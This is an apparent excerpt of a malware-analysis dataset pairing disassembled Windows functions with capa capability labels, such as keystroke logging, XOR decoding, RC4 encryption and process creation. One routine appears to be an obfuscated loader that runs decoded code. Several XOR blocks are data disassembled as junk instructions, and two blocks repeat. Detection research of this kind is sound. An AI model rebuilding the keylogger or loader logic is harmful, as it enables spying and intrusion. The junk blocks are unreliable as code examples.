joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474e70
Capabilities:
Encode data using xor

Disassembly:
xor dword [esi + 0x4a], 0x70
xchg edx, eax
salc
push 0xff14b1de
dec ebp
pop ds
lodsd eax, dword [esi]
aas
test al, 0x15
leave
jmp 0x474d51
arpl word [edi - 0x19897c11], bx
wait
pop esi
push ebx
lcall 0xeef7, 0x89a741bf
inc ebp
add edi, dword [ebx + esi*2 - 0x30a603ca]
mov al, 0x46
add ah, byte [edx + 0x51f15e16]
mov edi, 0xa8cbb208
pop es
xchg ebp, eax
jge 0x474ce3
cld
or eax, 0x70b94c74
xchg edx, eax
into
mov ebx, 0x6601dc73
cmp dword [ebx], ecx
cmp word [ebx], cx
pop edi
pop esp
dec ebx
pushfd
fidiv word [ebx]
add eax, dword [eax]
mov dl, 0xb9
mov al, 0x1f
loope 0x474dd7
invalid
mov bh, byte [ebx]
adc esi, dword [ecx + 0x5e]
pop ebx
test al, 0x8e
sbb al, 0xa0
dec ebx
mov dl, 0xae
nop dword [eax + edi]
mov dh, 0x29
invalid
or edi, ecx
inc esi
std
mov byte [0x1517503e], al
add eax, dword [eax]
fcmove st(0), st(0)
rcr dword [esi + ebx + 0x6b8443c7], 1
mov al, 0x7b
or bh, ch
aas
xor al, 0x4e
enter 0xffffffffffff80eb, 0xffffffffffffffc4
mov byte [0x1512f8b8], al
jae 0x474dfd
jb 0x474d8d
inc ebp
push ss
dec esi
std
pop edx
dec ebx
and byte [esp + edi*8 - 0x6f], 0x86
dec esp
mov ecx, 0x885b54a4
xor esi, dword [edx - 0x3c]
push esp
pop ebx
mov byte [ebx], dh
jb 0x474da1
inc ebp
push ss
push edx
std
sub byte [ebx - 0x4c], ch
pop esp
adc eax, 0x170a4d8e
adc eax, 0xc9c66bee
xchg edi, eax
invalid
or esp, dword [esi + 0x39]
add esi, dword [edi - 0x79]
je 0x474e3c
mov ebx, 0x5a52bb41
pop ebx
mov byte [ecx], ch
loope 0x474dc7
sbb al, 0x53
call 0x284ad336
popfd
cld
notrack jmp 0x474e8f
jmp 0x474e8f
imul eax, esi, 0xff534dc9
invalid
jnp 0x474e83
loope 0x474e17
sbb al, 0x88
dec ebp
and dh, byte es:[edx + ebx*8 + 0x1e]
and dh, byte [edx + ebx*8 + 0x1e]
cmp byte [esi], dh
adc al, 0x88
in eax, 0xef
test cl, bh
xlatb
mov gs, word [eax - 0x7c10609d]
arpl word [edi - 0x1d897c11], bx
je 0x474dfa
mov edx, 0xbbbc73b1
cmp byte [ecx], dl
or eax, 0xf6143ffd
xor al, 0x14
div byte [esp + edx]
invalid
lahf
inc esi
test al, 0x5a
xchg dword [edi + 0x73b5e129], ecx
les eax, [eax + 0x76447a45]
cmp byte [edx + 0x31410d0], 0
loop 0x474e61
mov al, 0x1f
loope 0x474f21
invalid
xchg edx, eax
fisubr dword [esi + esi]
jmp 0x474f9d
mov ah, 0xd6
iretd
push ecx
stosd dword es:[edi], eax
mov eax, 0xd7b6e52e
neg bh
cli
push ss
add esp, dword [esi + 0x75]
add eax, dword [ecx - 0x21]
push ds
mov ch, 0x63
les ecx, [eax + 0x63ae1a45]
cmpsb byte [esi], byte es:[edi]
loopne 0x474f81
mov ebx, 0xf783d351
invalid

Function at 0x47ac3c
Capabilities:
Encode data using xor

Disassembly:
dec ebx
mov bl, 0xda
inc ebp
mov al, byte [ebp + 0x4e]
int 0xb8
sub ebx, dword [ebp + 0x7a616f8]
call 0x284941ce
lcall 0x4e4d, 0x881a43f8
lds edi, [ebx + esi*8]
dec edi
push edx
aaa
cld
mov ch, 0xae
mov al, 0x46
movsb byte es:[edi], byte [esi]
mov bl, ch
test al, 0xa6
test byte [esi - 0x75], dl
push esi
mov ebx, dword [esi - 0x3b]
invalid
pop es
dec ebp
mov cl, 0x73
sar byte [ebx - 0x2f2f894], 0x3f
pop esi
dec eax
xor al, 0x14
imul ecx, dword [eax], 0xd54d9f5a
push ds
popal
mov edi, 0x7285ff51
xor ah, bh
mov cl, 0xd9
jge 0x47ac41
add byte [ebx], al
inc edi
mov edx, 0xc4fb4815
leave
dec ebp
invalid
Function at 0x47bacc
Capabilities:
Encode data using xor

Disassembly:
sub ch, al
xchg esp, eax
jb 0x47ba23
push ebp
jg 0x47b9e0
push esp
int1
daa
sahf
mov byte [0x165b4a58], al
add edx, eax
sar byte [ebx + ecx + 0x751153fd], 1
test bh, ch
mov esp, 0x1153fd0b
jne 0x47ba1d
test bh, ch
mov ecx, 0xdffa46f5
dec edx
jnp 0x47ba48
cli
fisttp word [edx + 0x7b]
push edi
ja 0x47ba69
inc esi
shr byte [ebx], 0x91
popal
pop ecx
cmp byte [edx], bl
adc ecx, dword [esi]
in al, 0x46
cmc
nop
insb byte es:[edi], dx
push ecx
push edx
push edi
bound esp, qword [ebx - 0x39]
inc esi
std
inc edi
dec ebx
mov bl, 0xda
xchg edi, eax
xbegin 0x5c48bd51
pop ebx
les esi, [edi - 0x4cfff894]
inc esi
std
movsd dword es:[edi], dword [esi]
adc dh, byte [ebx + 0x7882e873]
mov dh, 0x4e
call 0x4efe32aa
cld
xlatb
push ds
dec esi
jbe 0x47b9cd
inc esi
cld
xor edi, dword [esi]
stc
xlatb
scasb al, byte es:[edi]
cmp byte [esi], dh
pushal
aaa
mov esi, edi
mov edx, 0x391aaf7c
xchg byte [ebx + eax], dl
je 0x47b9df
int 0xb8
sub ebx, dword [edi - 0x4cfdcdc0]
add byte [edx + 0x5b5ce132], dh
lahf
inc eax
xor al, byte [edx]
mov bl, 0
mov dl, 0x32
loope 0x47baae
pop ebx
les esi, [edi + 0x217076c]
inc esi
std
mov dword [0xe873b30e], eax
cmp byte [eax - 0x4a], 0x57
cld
xlatb
push ds
dec esp
xor ah, byte [edi]
daa
ret
adc al, 0x88
inc ebp
dec esi
pop ds
mov al, byte [0x63381215]
arpl word [edi + 0x33b51ef], bx
add dword [ebx + ebx*2 - 0x3c], ebx
fidiv word [ebx - 0x7c]
add dh, byte [edx - 0x71eb5fe1]
test al, 0x63
arpl word [edi - 0x41897c11], bx
je 0x47ba56
out 0xb1, al
pop ebx
invalid
jae 0x47bac0
cmp byte [0xd7b18c42], 0x1e
dec ebp
adc al, 0x9f
inc esi
cld
adc dword [esi - 0x2fe164c9], ebp
push esi
mov al, byte [ecx]
add dl, ah
sub al, 0xfd
outsd dx, dword [esi]
bound eax, qword [edx + 0x6a531471]
mov cl, 0xae
inc ebp
jbe 0x47bb19
sbb al, 0x38
xchg ebp, eax
in al, 0xc9
dec esp
mov dl, 0x1f
cmp byte [ebp - 0x4db3361c], dl
pop ds
movsb byte es:[edi], byte [esi]
mov bl, ch
test al, 0x63
arpl word [edi - 0x41897c11], bx
je 0x47ba92
out 0xb1, al
invalid
jae 0x47bafc
xor al, al
adc dword [esi - 0x4ce164c9], esi
jae 0x47bb06
wait
push ds
mov bl, 0x73
call 0x462a3be7
std
xlatb
lds eax, [eax - 0x2802ba1e]
push ds
mov bl, 0x73
call 0xd6838d5c
aad 0xd4
push ds
cmp byte [edi - 0x4dfcd07c], bh
inc esi
wait
pop esi
mov cs, word [eax]
xor eax, 0xf78b0314
mov edx, 0xa89705ce
add al, 0x17
add eax, dword [eax]
cmp edx, esi
retf
Function at 0x47bb08
Capabilities:
Encode data using xor

Disassembly:
sub ch, al
xchg esp, eax
jb 0x47ba23
push ebp
jg 0x47b9e0
push esp
int1
daa
sahf
mov byte [0x165b4a58], al
add edx, eax
sar byte [ebx + ecx + 0x751153fd], 1
test bh, ch
mov esp, 0x1153fd0b
jne 0x47ba1d
test bh, ch
mov ecx, 0xdffa46f5
dec edx
jnp 0x47ba48
cli
fisttp word [edx + 0x7b]
push edi
ja 0x47ba69
inc esi
shr byte [ebx], 0x91
popal
pop ecx
cmp byte [edx], bl
adc ecx, dword [esi]
in al, 0x46
cmc
nop
insb byte es:[edi], dx
push ecx
push edx
push edi
bound esp, qword [ebx - 0x39]
inc esi
std
inc edi
dec ebx
mov bl, 0xda
xchg edi, eax
xbegin 0x5c48bd51
pop ebx
les esi, [edi - 0x4cfff894]
inc esi
std
movsd dword es:[edi], dword [esi]
adc dh, byte [ebx + 0x7882e873]
mov dh, 0x4e
call 0x4efe32aa
cld
xlatb
push ds
dec esi
jbe 0x47b9cd
inc esi
cld
xor edi, dword [esi]
stc
xlatb
scasb al, byte es:[edi]
cmp byte [esi], dh
pushal
aaa
mov esi, edi
mov edx, 0x391aaf7c
xchg byte [ebx + eax], dl
je 0x47b9df
int 0xb8
sub ebx, dword [edi - 0x4cfdcdc0]
add byte [edx + 0x5b5ce132], dh
lahf
inc eax
xor al, byte [edx]
mov bl, 0
mov dl, 0x32
loope 0x47baae
pop ebx
les esi, [edi + 0x217076c]
inc esi
std
mov dword [0xe873b30e], eax
cmp byte [eax - 0x4a], 0x57
cld
xlatb
push ds
dec esp
xor ah, byte [edi]
daa
ret
adc al, 0x88
inc ebp
dec esi
pop ds
mov al, byte [0x63381215]
arpl word [edi + 0x33b51ef], bx
add dword [ebx + ebx*2 - 0x3c], ebx
fidiv word [ebx - 0x7c]
add dh, byte [edx - 0x71eb5fe1]
test al, 0x63
arpl word [edi - 0x41897c11], bx
je 0x47ba56
out 0xb1, al
pop ebx
invalid
jae 0x47bac0
cmp byte [0xd7b18c42], 0x1e
dec ebp
adc al, 0x9f
inc esi
cld
adc dword [esi - 0x2fe164c9], ebp
push esi
mov al, byte [ecx]
add dl, ah
sub al, 0xfd
outsd dx, dword [esi]
bound eax, qword [edx + 0x6a531471]
mov cl, 0xae
inc ebp
jbe 0x47bb19
sbb al, 0x38
xchg ebp, eax
in al, 0xc9
dec esp
mov dl, 0x1f
cmp byte [ebp - 0x4db3361c], dl
pop ds
movsb byte es:[edi], byte [esi]
mov bl, ch
test al, 0x63
arpl word [edi - 0x41897c11], bx
je 0x47ba92
out 0xb1, al
invalid
jae 0x47bafc
xor al, al
adc dword [esi - 0x4ce164c9], esi
jae 0x47bb06
wait
push ds
mov bl, 0x73
call 0x462a3be7
std
xlatb
lds eax, [eax - 0x2802ba1e]
push ds
mov bl, 0x73
call 0xd6838d5c
aad 0xd4
push ds
cmp byte [edi - 0x4dfcd07c], bh
inc esi
wait
pop esi
mov cs, word [eax]
xor eax, 0xf78b0314
mov edx, 0xa89705ce
add al, 0x17
add eax, dword [eax]
cmp edx, esi
retf
Function at 0x47dd74
Capabilities:
Encode data using xor

Disassembly:
adc dl, bl
adc ah, byte [eax]
nop
push ds
mov ch, 0x73
cld
mov ecx, 0xfd46b203
aas
sub ah, byte [edx + 0x34]
adc al, 0xc0
jmp 0xd846fa32
xchg ebp, eax
invalid
push esi
mov ebx, dword [esi - 0x3b]
cmp dword [edi], ebp
test byte [edi], 0x6c
push ss
add ecx, dword [eax - 0x6d8b4219]
loop 0x47dd39
jae 0x47dd70
mov byte [eax], dl
dec ebp
aam 0x11
xlatb
push ds
cmp byte [ebp + 0x328bff51], bh
adc bh, bh
xlatb
push ds
or esp, esp
popfd
xchg ebx, eax
or byte [ebx - 0x71a102ba], dh
xor al, 0x37
adc al, 3
mov ah, bh
mov ebp, 0xb3e2357d
jae 0x47dd98
mov bl, 0x46
std
pop esi
invalid
jmp 0x47ddbd
mov edx, 0x3a472815
dec ebp
pop edx
pop ebp
jno 0x47dd9e

Function at 0x49c06c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov ebx, dword [esi + 0x17]
cmp dl, byte [edx - 0x1436381e]
cld
invalid
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x100216c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100216d1
pop dword [ebp - 0x34]
mov eax, 0x100216d1
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe53247d4
sub dword [ebp - 0x44], 0x96e00289
mov dword [ebp - 0x40], 0xcc0705bd
sub dword [ebp - 0x40], 0x99d3b978
mov dword [ebp - 0x3c], 0x1c3c7543
sub dword [ebp - 0x3c], 0xcff03115
mov dword [ebp - 0x38], 0x9c89b15
sub dword [ebp - 0x38], 0x9c89b15
lea eax, [ebp - 0x44]
push eax
mov eax, 0x8cfbaa11
add eax, 0x8308a6f3
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x87fad26a
add dword [ebp - 0x44], 0xec7796ec
mov dword [ebp - 0x40], 0xac6fe47c
sub dword [ebp - 0x40], 0x6b038307
mov dword [ebp - 0x3c], 0xd58d9dbd
sub dword [ebp - 0x3c], 0x721e3151
mov dword [ebp - 0x38], 0x32cd4e6f
add dword [ebp - 0x38], 0xcd32b191
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xa7e1be42
sub eax, 0x97dd6d8a
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4c1d0
push 0
call eax
mov ecx, 0xedd41cee
add ecx, 0x122c3224
xor esi, esi
add esi, eax
mov edx, 0x5028d0f1
add edx, 0xbfde7f0f
add edx, dword [ebp - 0x34]
mov edi, 0xa3a596f6
add edi, 0x1e664c8d
add dword [ebp - 0x28], eax
mov ebx, dword [edx]
add dword [ebp - 0x2c], 0x4bebcfb3
add ebx, edi
xor dword [ebp - 4], ebx
mov dword [esi], ebx
xor dword [ebp - 0x2c], eax
add esi, 0x689c7f56
sub esi, 0x689c7f52
add edx, 0xabb0279d
add edx, 0x544fd867
loop 0x100217f0
add eax, 0x12f1b
mov ebx, eax
add eax, 5
mov ecx, 0x8f41fcf7
sub ecx, 0x7f41fcf7
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4081b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4769fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046b4bd
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408232
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046917e
mov eax, dword [eax]
push 0x494220
push eax
call fcn.0045a964
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046b748
test bl, bl
je 0x408232
push 0x494220
lea ecx, [esp + 0xc]
call fcn.0046bad8
push 0x497d84
lea ecx, [esp + 0xc]
call fcn.0046bad8
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40826e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046b748
jmp 0x408339
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4082f2
lea edx, [esp + 0x7c]
push 0x497d80
push edx
call fcn.0045a964
add esp, 8
test eax, eax
je 0x4082f2
lea eax, [esp + 0x7c]
push 0x497d7c
push eax
call fcn.0045a964
add esp, 8
test eax, eax
je 0x4082f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408282
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046b748
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x408b30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x408b92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x408ba0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x476a7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a0874]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x408cd8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x408c06
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b748
xor eax, eax
jmp 0x408d4f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046b885
push esi
lea ecx, [esp + 0xc]
call fcn.0046bb14
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x408d2d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00408b30
test eax, eax
jne 0x408d2d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00408b30
test eax, eax
jne 0x408d2d
lea eax, [esp + 0x14]
push 0x497d98
push eax
call fcn.0045b9a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x408d0c
lea ecx, [esp + 0x14]
push 0x497d94
push ecx
call fcn.0045b920
mov esi, eax
add esp, 8
test esi, esi
jne 0x408d0c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x408d0f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046b835
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x408c1e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b748
xor eax, eax
jmp 0x408d4f
mov byte [esi], 0
push 0x497d90
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046b748
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4194b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41951e
cmp si, 0x69
ja 0x41951e
add esi, 0xffd0
cmp si, 0x11
je 0x4194ee
push 0x11
call edi
test ax, ax
jge 0x4194ee
or esi, 0x2000
cmp si, 0x10
je 0x419503
push 0x10
call edi
test ax, ax
jge 0x419503
or esi, 0x4000
cmp si, 0x12
je 0x419518
push 0x12
call edi
test ax, ax
jge 0x419518
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41952b
mov esi, 0xbd
jmp 0x4194df
cmp si, 0x6e
jne 0x419538
mov esi, 0xbe
jmp 0x4194df
cmp si, 0x6f
jne 0x4194d9
mov esi, 0xbf
jmp 0x4194df

Function at 0x41ac50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b0f80]
xor edx, edx
cmp eax, edx
jne 0x41ac76
xor eax, eax
mov byte [eax + 0x4b0e80], al
inc eax
cmp eax, 0x100
jl 0x41ac5e
mov dword [0x4b0f80], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b0e80
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41ad07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41acda
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41aca8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41ad80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41add3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41adba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421810
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4219a8
cmp ebp, ebx
jle 0x4219a8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42186e
dec eax
or eax, 0xfffffff8
inc eax
je 0x421875
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x421884
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42188b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046b489
add esp, 4
cmp eax, ebx
je 0x4218ac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046b489
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42199e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x421985
mov al, byte [edx]
cmp al, 0xc0
jbe 0x421971
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x421966
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x421974
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x421974
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x421910
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x421901
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4249a0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x477ce8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4249d9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00472e3c
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00472e88
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00424a60
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00472ec5
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24